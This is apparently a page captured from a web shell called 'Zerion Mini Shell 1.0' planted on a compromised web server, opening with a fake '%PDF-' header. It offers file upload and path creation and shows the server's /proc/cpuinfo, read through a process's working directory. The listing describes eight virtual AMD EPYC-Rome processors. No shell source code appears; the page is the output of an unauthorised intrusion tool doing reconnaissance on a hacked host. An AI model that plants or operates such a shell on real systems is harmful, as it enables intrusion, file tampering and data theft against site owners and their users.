%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/4187781/cwd/proc/
Upload File :
Create Path :
Current File : //proc/4187781/cwd/proc/cpuinfo

processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: AMD EPYC-Rome Processor
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 2345.594
cache size	: 512 KB
physical id	: 0
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 xsaves clzero xsaveerptr wbnoinvd arat npt nrip_save umip rdpid arch_capabilities
bugs		: sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed
bogomips	: 4691.18
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: AMD EPYC-Rome Processor
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 2345.594
cache size	: 512 KB
physical id	: 1
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 xsaves clzero xsaveerptr wbnoinvd arat npt nrip_save umip rdpid arch_capabilities
bugs		: sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed
bogomips	: 4691.18
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 2
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: AMD EPYC-Rome Processor
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 2345.594
cache size	: 512 KB
physical id	: 2
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 xsaves clzero xsaveerptr wbnoinvd arat npt nrip_save umip rdpid arch_capabilities
bugs		: sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed
bogomips	: 4691.18
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 3
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: AMD EPYC-Rome Processor
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 2345.594
cache size	: 512 KB
physical id	: 3
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 3
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 xsaves clzero xsaveerptr wbnoinvd arat npt nrip_save umip rdpid arch_capabilities
bugs		: sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed
bogomips	: 4691.18
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 4
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: AMD EPYC-Rome Processor
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 2345.594
cache size	: 512 KB
physical id	: 4
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 4
initial apicid	: 4
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 xsaves clzero xsaveerptr wbnoinvd arat npt nrip_save umip rdpid arch_capabilities
bugs		: sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed
bogomips	: 4691.18
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 5
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: AMD EPYC-Rome Processor
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 2345.594
cache size	: 512 KB
physical id	: 5
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 5
initial apicid	: 5
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 xsaves clzero xsaveerptr wbnoinvd arat npt nrip_save umip rdpid arch_capabilities
bugs		: sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed
bogomips	: 4691.18
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 6
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: AMD EPYC-Rome Processor
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 2345.594
cache size	: 512 KB
physical id	: 6
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 6
initial apicid	: 6
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 xsaves clzero xsaveerptr wbnoinvd arat npt nrip_save umip rdpid arch_capabilities
bugs		: sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed
bogomips	: 4691.18
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 7
vendor_id	: AuthenticAMD
cpu family	: 23
model		: 49
model name	: AMD EPYC-Rome Processor
stepping	: 0
microcode	: 0x1000065
cpu MHz		: 2345.594
cache size	: 512 KB
physical id	: 7
siblings	: 1
core id		: 0
cpu cores	: 1
apicid		: 7
initial apicid	: 7
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm rep_good nopl cpuid extd_apicid tsc_known_freq pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm cmp_legacy svm cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw topoext perfctr_core ssbd ibrs ibpb stibp vmmcall fsgsbase tsc_adjust bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xgetbv1 xsaves clzero xsaveerptr wbnoinvd arat npt nrip_save umip rdpid arch_capabilities
bugs		: sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass retbleed
bogomips	: 4691.18
TLB size	: 1024 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 40 bits physical, 48 bits virtual
power management:


Zerion Mini Shell 1.0